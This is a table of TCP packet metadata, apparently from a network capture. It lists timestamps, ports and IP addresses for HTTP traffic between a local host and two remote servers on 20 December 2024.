Dec 20, 2024 13:12:41.402156115 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.402209997 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.402276039 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.403450012 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.403501034 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.403542995 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.403590918 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.404731989 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.404901981 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.404972076 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.406135082 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.406199932 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.406388044 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.407882929 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.407955885 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.407972097 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.408036947 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.409100056 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.409163952 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.409346104 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.409404039 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.410584927 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.410733938 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.410809994 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.412235975 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.412312031 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.412785053 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.412849903 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.413789034 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.413853884 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.413981915 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.414043903 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.415738106 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.416027069 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.416100979 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.417462111 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.417526960 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.516957998 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.517025948 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.517051935 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.517132998 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.517529011 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.517618895 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.517663002 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.517729998 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.517777920 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.518629074 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.518724918 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.518724918 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.518788099 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.519656897 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.519692898 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.519736052 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.519762039 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.520613909 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.520697117 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.521248102 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.521321058 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.522001028 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.522067070 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.522330046 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.522391081 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.523201942 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.523916960 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.523984909 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.524511099 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.524571896 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.524774075 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.524837971 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.526041985 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.526103020 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.526381016 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.526530981 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.527172089 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.527205944 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.527236938 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.527302027 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.528584003 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.528623104 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.528659105 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.528683901 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.530230045 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.530343056 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.530494928 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.530555964 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.531347990 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.531400919 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.531409025 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.531503916 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.532170057 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.532315969 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.532377958 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.533169031 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.533221006 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.533268929 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.533308029 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.534308910 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.534455061 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.534456968 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.534519911 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.535540104 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.535643101 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.535722971 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.536756039 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.536828041 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.537154913 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.537220001 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.537818909 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.537893057 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.538793087 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.538856983 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.539280891 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.539345026 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.539767027 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.539990902 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.540417910 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.540474892 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.541105032 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.541169882 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.541809082 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.541867971 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.542192936 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.543375015 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.543440104 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.543950081 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.544015884 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.544374943 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.544409037 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.544435978 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.544456959 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.545141935 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.545178890 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.545206070 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.545236111 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.545814037 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.545876026 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.546046019 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.546109915 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.546993017 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.547060013 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.547090054 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.547151089 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.548197985 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.548319101 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.548461914 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.548532009 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.549227953 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.549288988 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.549621105 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.549679995 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.550429106 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.550551891 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.550564051 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.550606012 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.551671982 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.552382946 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.552452087 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.552995920 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.553056955 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.553103924 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.553159952 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.554020882 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.554075956 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.554138899 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.554991961 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.555063009 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.555813074 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.555888891 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.556152105 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.556219101 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.556401014 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.556463003 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.557261944 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.557323933 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.557477951 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.557543039 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.558373928 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.558465958 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.558803082 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.559026003 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.559525967 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.559585094 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.560741901 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.560779095 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.560851097 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.561165094 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.561283112 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.561815023 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.562119007 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.562180996 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.562994003 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.563055038 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.563146114 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.563206911 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.564167976 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.564233065 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.564893961 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.564953089 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.565237999 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.565298080 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.565383911 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.565443993 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.566427946 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.566488028 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.566890001 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.566951036 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.567642927 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.567707062 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.568242073 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.568303108 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.568731070 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.568792105 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.569777966 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.569848061 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.569948912 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.569992065 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.570014000 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.570045948 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.570938110 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.571017027 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.572012901 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.572063923 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.572223902 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.572236061 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.572283030 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.573299885 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.573355913 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.573591948 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.573648930 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.574512959 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.574572086 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.574652910 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.574708939 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.575634956 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.575644970 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.575690985 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.576699972 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.576756001 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.577004910 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.577059984 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.604980946 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:41.605372906 CET	49906	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:41.605633020 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:41.605700016 CET	49906	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:41.707967997 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.708048105 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.708129883 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.708411932 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.708493948 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.708527088 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.708595991 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.709599018 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.709669113 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.709785938 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.709853888 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.710520029 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.710573912 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.710642099 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.711635113 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.711714029 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.711724997 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.711779118 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.712631941 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.712701082 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.712743044 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.712802887 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.713627100 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.713679075 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.713684082 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.713740110 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.714822054 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.714885950 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.714924097 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.714996099 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.715938091 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.716001987 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.716051102 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.716109037 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.716885090 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.716949940 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.716996908 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.717057943 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.717848063 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.717905998 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.717938900 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.717995882 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.718976021 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.719034910 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.719052076 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.719083071 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.720014095 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.720050097 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.720069885 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.720101118 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.721064091 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.721092939 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.721122026 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.721151114 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.722172976 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.722183943 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.722234964 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.723104000 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.723162889 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.723198891 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.723256111 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.724193096 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.724204063 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.724248886 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.724280119 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.725291967 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.725347996 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.725423098 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.725433111 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:41.725505114 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.726222038 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.726279974 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.726346016 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.726401091 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.727327108 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.727391005 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.727396965 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.727446079 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.728389978 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.728447914 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.728451967 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.728506088 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.729407072 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.729464054 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.729480982 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.729510069 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.730458975 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.730627060 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.730696917 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.731590986 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.731667995 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.731678009 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.731739044 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.732572079 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.732645035 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.732678890 CET	80	49913	31.41.244.11	192.168.2.5
